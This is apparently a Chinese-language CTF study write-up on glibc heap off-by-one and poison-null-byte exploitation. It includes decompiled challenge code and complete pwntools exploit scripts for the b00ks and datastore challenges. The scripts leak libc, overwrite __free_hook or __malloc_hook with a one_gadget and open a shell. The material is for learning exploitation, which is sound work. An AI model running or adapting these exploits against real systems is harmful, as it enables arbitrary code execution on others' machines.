off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括
溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。
(1) 这时可以选择使用 unlink 方法进行处理。
(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 及之前版本并没有该 check 。
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
/* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
溢出任意字节
存在物理地址相连的四个chunk块a、b、c、d,chunk a存在off-by-one溢出时,我们可以将chunk b的size大小更改为chunk b的size加上chunk c的大小。
free b时,chunk c的空间也会被一并归到chunk b的free chunk。
之后我们malloc一个合并起来size大小的chunk e,即malloc(0x180-8),会发现我们对chunk e操作时,可以对overlap的chunk c进行操作,我们并未free c,所以我们可以随意更改原本不能操作的heap header
这里有一个疑问,单字节溢出应该只溢出一个字节,为什么连prev_size都能覆盖,似乎溢出的是0x9个字节,而且malloc为什么不是0x180,还减去0x8?
这就是 ptmalloc 中 chunk 间的复用
当两个相邻的chunk在一起时,如果前一个chunk处于使用状态,那么后一个chunk的prev_size成员就不使用了,这些看上去似乎是一种浪费。因此,系统做了如下的规定:
当前一个chunk申请的数据空间申请的大小对16取余后,如果多出来的大小小于等于8字节,那么这个多出来的大小就放入下一个chunk的prev_size中存储。
只能溢出0字节(poison null byte)
此时如果我们直接malloc(0x80),会出现报错"corrupted size vs. prev_size",这是因为unlink中加入了下述检查。
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");
所以我们要在free b前布置一个fake chunk c,设置其prev_size = 0x100,与溢出后的chun b大小一致。
但是这里malloc(0x80)为什么会触发unlink?这里实现的操作应该是从unsorted bins上切割下0x90的大小给b1,且malloc中能够触发unlink的情况只能在malloc_consolidate,这里没有fastbins明显不能触发,很疑惑。
之后我对malloc函数又进行了学习,解决了该疑惑。
首先是unlink的使用场景:
malloc:
free
malloc_consolidate
realloc
这里属于malloc的第二种,free的chunk b大小为0x110,属于small bin,首先被链入unsorted bin,在malloc分配时,搜索unsorted bin时,被链接到small bin,之后函数解析搜索,在large bin也无法满足时,通过binmap来寻找不为空的bin找打大于chunk大小的bin中切割分配,此时调用了unlink。
题目是一个常见的选单式程序,功能是一个图书管理系统。
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息
struct book
{
int id;
char *name;
char *description;
int size;
}
struct book *book[20];
book 结构中存在 name 和 description, 在堆上分配。
首先分配 name buffer ,使用 malloc ,大小自定 。
printf("\nEnter book name size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
printf("Enter book name (Max 32 chars): ", &size);
ptr = malloc(size);
之后分配 description ,同样大小自定。
printf("\nEnter book description size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
v5 = malloc(size);
之后分配 book 结构的内存,固定大小0x20。
book = malloc(0x20uLL);
if ( book )
{
*((_DWORD *)book + 6) = size;
*((_QWORD *)off_202010 + v2) = book;
*((_QWORD *)book + 2) = description;
*((_QWORD *)book + 1) = name;
*(_DWORD *)book = ++unk_202024;
return 0LL;
}
程序编写的 read 函数存在 null byte off-by-one 漏洞,仔细观察这个 read 函数可以发现对于边界的考虑是不当的
signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]
if ( number <= 0 )
return 0LL;
buf = ptr;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == '\n' )
break;
++buf;
if ( i == number )
break;
}
*buf = 0;
return 0LL;
}
因为程序中的 my_read 函数存在 null byte off-by-one ,事实上 my_read 读入的结束符 ‘\x00’ 是写入到 0x555555756060 的位置的。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 ‘\x00’ ,所以这里是存在一个地址泄漏的漏洞。通过打印 author name 就可以获得 pointer array 中第一项的值。
通过ida和gdb的查看,我们发现author name后面紧接着的就是book[0]的地址,由此我们得到了book1_addr和book2_addr。
0x555555756040: 0x6161616161616161 0x6161616161616161
0x555555756050: 0x6161616161616161 0x6161616161616161 <== author name
0x555555756060: 0x0000555555757480 <== pointer array 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
def leak_heap():
global book2_addr
io.sendlineafter("name: ", "A" * 0x20) #on this moment,don't overlap books,which is not constructed
Create(0xd0, "AAAA", 0x20, "AAAA") # book1
Create(0x21000, "AAAA", 0x21000, "AAAA") # book2
Print()
io.recvuntil("A"*0x20)
book1_addr = u64(io.recvn(6).ljust(8, b"\x00"))
book2_addr = book1_addr + 0x30
log.info("book2 address: 0x%x" % book2_addr)
再上述操作后,heap构造如下图所示,
程序中同样提供了一种 change 功能, change 功能用于修改 author name ,所以通过 change 可以写入 author name ,利用 off-by-one 覆盖 pointer array 第一个项的低字节(book[0]的最低字节地址)。
覆盖掉 book1 指针的低字节后,这个指针会指向 book1 的 description ,由于程序提供了 edit 功能可以任意修改 description 中的内容。我们可以提前在 description 中布置数据伪造成一个 book 结构,这个 book 结构的 description 和 name 指针可以由直接控制。
def leak_libc():
global libc_base
fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
Edit(1, fake_book)
Change("A" * 0x20)
Print()
io.recvuntil("Name: ")
leak_addr = u64(io.recvn(6).ljust(8, b"\x00"))
libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base
log.info("libc address: 0x%x" % libc_base)
这道题的巧妙之处在于在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。**且 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址**。
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/ 桌面 /123/123
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/ 桌面 /123/123
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/ 桌面 /123/123
0x00007f6572703000 0x00007f65728c3000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f65728c3000 0x00007f6572ac3000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f6572ac3000 0x00007f6572ac7000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f6572ac7000 0x00007f6572ac9000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f6572ac9000 0x00007f6572acd000 0x0000000000000000 rw-
0x00007f6572acd000 0x00007f6572af3000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f6572cb4000 0x00007f6572cd9000 0x0000000000000000 rw- <========= mmap
0x00007f6572cf2000 0x00007f6572cf3000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f6572cf3000 0x00007f6572cf4000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f6572cf4000 0x00007f6572cf5000 0x0000000000000000 rw-
0x00007fffec566000 0x00007fffec587000 0x0000000000000000 rw- [stack]
0x00007fffec59c000 0x00007fffec59f000 0x0000000000000000 r-- [vvar]
0x00007fffec59f000 0x00007fffec5a1000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
此时我们已经将book[0]的指针指向了fake book,所以我们能通过修改book[0]的description来控制fake book中description指针指向的区域。所以我们之前将fake book的description指向book2+8的位置,这样我们就能修改book2的name和description的指针,例如修改为**free_hook**的位置,从而套娃继续修改book2的description,也就是free_hook为我们的one_gadget。
def overwrite():
free_hook = libc.symbols['__free_hook'] + libc_base
one_gadget = libc_base + 0x4527a
fake_book = p64(free_hook) * 2
Edit(1, fake_book)
fake_book = p64(one_gadget)
Edit(2, fake_book)
#!/usr/bin/python
#encoding:utf-8
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
fn = './b00ks'
elf = ELF(fn)
libc = ELF('/home/datal/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
debug = 0
if debug:
io = remote('node4.buuoj.cn', 29198)
else:
io = process(fn)
def Create(nsize, name, dsize, desc):
io.sendlineafter("> ", '1')
io.sendlineafter("name size: ", str(nsize))
io.sendlineafter("name (Max 32 chars): ", name)
io.sendlineafter("description size: ", str(dsize))
io.sendlineafter("description: ", desc)
def Delete(idx):
io.sendlineafter("> ", '2')
io.sendlineafter("delete: ", str(idx))
def Edit(idx, desc):
io.sendlineafter("> ", '3')
io.sendlineafter("edit: ", str(idx))
io.sendlineafter("description: ", desc)
def Print():
io.sendlineafter("> ", '4')
def Change(name):
io.sendlineafter("> ", '5')
io.sendlineafter("name: ", name)
def leak_heap():
global book2_addr
io.sendlineafter("name: ", "A" * 0x20) #on this moment,don't overlap books,which is not constructed
Create(0xd0, "AAAA", 0x20, "AAAA") # book1
Create(0x21000, "AAAA", 0x21000, "AAAA") # book2
Print()
io.recvuntil("A"*0x20)
book1_addr = u64(io.recvn(6).ljust(8, b"\x00"))
book2_addr = book1_addr + 0x30
log.info("book2 address: 0x%x" % book2_addr)
def leak_libc():
global libc_base
fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
Edit(1, fake_book)
Change("A" * 0x20)
Print()
io.recvuntil("Name: ")
leak_addr = u64(io.recvn(6).ljust(8, b"\x00"))
libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base
log.info("libc address: 0x%x" % libc_base)
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
def overwrite():
free_hook = libc.symbols['__free_hook'] + libc_base
one_gadget = libc_base + 0x4527a
fake_book = p64(free_hook) * 2
Edit(1, fake_book)
fake_book = p64(one_gadget)
Edit(2, fake_book)
def pwn():
Delete(2)
io.interactive()
if __name__ == "__main__":
leak_heap()
leak_libc()
overwrite()
pwn()
这道题没有找到文件和环境,只能根据书上的内容和CTFwiki理解。
关键数据结构
struct Node {
char *key;
long data_size;
char *data;
struct Node *left;
struct Node *right;
long dummy;
long dummy1;
}
char *__fastcall getline(__int64 a1, __int64 a2)
{
char *v2; // r12
char *v3; // rbx
size_t v4; // r14
char v5; // al
char v6; // bp
signed __int64 v7; // r13
char *v8; // rax
v2 = (char *)malloc(8uLL); // 一开始使用 malloc(8) 进行分配
v3 = v2;
v4 = malloc_usable_size(v2); // 计算了可用大小,例如对于 malloc(8) 来说,这里应该为24
while ( 1 )
{
v5 = _IO_getc(stdin);
v6 = v5;
if ( v5 == -1 )
bye();
if ( v5 == 10 )
break;
v7 = v3 - v2;
if ( v4 <= v3 - v2 )
{
v8 = (char *)realloc(v2, 2 * v4); // 大小不够是将可用大小乘二,进行 realloc
v2 = v8;
if ( !v8 )
{
puts("FATAL: Out of memory");
exit(-1);
}
v3 = &v8[v7];
v4 = malloc_usable_size(v8);
}
*v3++ = v6; // <--- 漏洞所在,此时 v3 作为索引,指向了下一个位置,如果位置全部使用完毕则会指向下一个本应该不可写位置
}
*v3 = 0; // <--- 漏洞所在。 off by one (NULL 字节溢出)
return v2;
}
__int64 __fastcall cmd_put()
{
__int64 v0; // rsi
Node *row; // rbx
unsigned __int64 sz; // rax
char *v3; // rax
__int64 v4; // rbp
__int64 result; // rax
__int64 v6; // [rsp+0h] [rbp-38h]
unsigned __int64 v7; // [rsp+18h] [rbp-20h]
v7 = __readfsqword(0x28u);
row = (Node *)malloc(0x38uLL);
if ( !row )
{
puts("FATAL: Can't allocate a row");
exit(-1);
}
puts("PROMPT: Enter row key:");
row->key = getline((__int64)"PROMPT: Enter row key:", v0);
puts("PROMPT: Enter data size:");
gets_checked((char *)&v6, 16LL);
sz = strtoul((const char *)&v6, 0LL, 0);
row->data_size = sz;
v3 = (char *)malloc(sz);
row->data = v3;
if ( v3 )
{
puts("PROMPT: Enter data:");
fread_checked(row->data, row->data_size);
v4 = insert_node(row);
if ( v4 )
{
free(row->key);
free(*(void **)(v4 + 16));
*(_QWORD *)(v4 + 8) = row->data_size;
*(_QWORD *)(v4 + 16) = row->data;
free(row);
puts("INFO: Update successful.");
}
else
{
puts("INFO: Insert successful.");
}
result = __readfsqword(0x28u) ^ v7;
}
else
{
puts("ERROR: Can't store that much data.");
free(row->key);
free(row);
}
return result;
}
分配过程:
这里讲述一个技巧,程序中生成的struct有碎片堆生成,为了不影响之后的操作,可以先提前申请一些相应大小的chunk再释放,这样无关的零散chunk再后续操作中就不会影响到关键chunk之间物理相邻。比如下述代码:
for i in range(0, 10):
PUT(str(i), 0x38, str(i)*0x37)
for i in range(0, 10):
DEL(str(i))
这里创建了连续的大小为0x80,0x110,0x90,0x90。本题直接跳到进行poison null byte阶段,之前的程序分析详情请看CTFwiki的off-by-one。
首先进行off-by-one,这里利用chunk的空间复用,先申请0x80,free后再申请0x78大小的chunk,这样就可以利用next chunk的prev_size。
PUT("A", 0x71, "A"*0x70)
PUT("B", 0x101, "B"*0x100)
PUT("C", 0x81, "C"*0x80)
PUT("def", 0x81, "d"*0x80)
DEL("A")
DEL("B")
PUT("A"*0x78, 0x11, "A"*0x10) # posion null byte
之后通过申请B1,B2,并free B1和C进行合并,chunk B2被包含在这个合并chunk中。
PUT("B1", 0x81, "X"*0x80)
PUT("B2", 0x41, "Y"*0x40)
DEL("B1")
DEL("C") # overlap chunkB2
PUT("B1", 0x81, "X"*0x80)
libc_base = u64(GET("B2")[:8]) - 0x39bb78
log.info("libc address: 0x%x" % libc_base)
这里再次申请B1大小对应的chunk再从unsorted bins中切割出来,那么B2chunk的fd,bk就会被有了libc的地址,我们利用程序的GET就可以打印出来,之后就能得到malloc_hook和one_gadget的地址。
之后就要设法对malloc_hook进行覆写,很明显我们要围绕着overlap的chunk B2做文章。
我们这里尝试fastbin attack,将chunk B2free到fastbins中,又因为其是overlap chunk,所有能对其进行更改数据的操作,将其fd更改为malloc_addr之前的地址,之后申请两次对应大小chunk就可以更改hook。
from pwn import *
io = remote('127.0.0.1', 10001) # io = process("./datastore_223")
libc = ELF('/usr/local/glibc-2.23/lib/libc-2.23.so')
def PUT(key, size, data):
io.sendlineafter("command:", "PUT")
io.sendlineafter("key", key)
io.sendlineafter("size", str(size))
io.sendlineafter("data", data)
def GET(key):
io.sendlineafter("command:", "GET")
io.sendlineafter("key", key)
io.recvuntil("bytes]:\n")
return io.recvline()
def DEL(key):
io.sendlineafter("command:", "DEL")
io.sendlineafter("key", key)
for i in range(0, 10):
PUT(str(i), 0x38, str(i)*0x37)
for i in range(0, 10):
DEL(str(i))
def leak_libc():
global libc_base
PUT("A", 0x71, "A"*0x70)
PUT("B", 0x101, "B"*0x100)
PUT("C", 0x81, "C"*0x80)
PUT("def", 0x81, "d"*0x80)
DEL("A")
DEL("B")
PUT("A"*0x78, 0x11, "A"*0x10) # posion null byte
PUT("B1", 0x81, "X"*0x80)
PUT("B2", 0x41, "Y"*0x40)
DEL("B1")
DEL("C") # overlap chunkB2
PUT("B1", 0x81, "X"*0x80)
libc_base = u64(GET("B2")[:8]) - 0x39bb78
log.info("libc address: 0x%x" % libc_base)
def pwn():
one_gadget = libc_base + 0x3f44a
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
DEL("B1")
payload = p64(0)*16 + p64(0) + p64(0x71)
payload += p64(0)*12 + p64(0) + p64(0x21)
PUT("B1", 0x191, payload.ljust(0x190, "B"))
DEL("B2")
DEL("B1")
payload = p64(0)*16 + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
PUT("B1", 0x191, payload.ljust(0x190, "B"))
PUT("D", 0X61, "D"*0x60)
payload = p8(0)*0x13 + p64(one_gadget)
PUT("E", 0X61, payload.ljust(0x60, "E"))
io.sendline("GET")
io.interactive()
if __name__ == '__main__':
leak_libc()
pwn()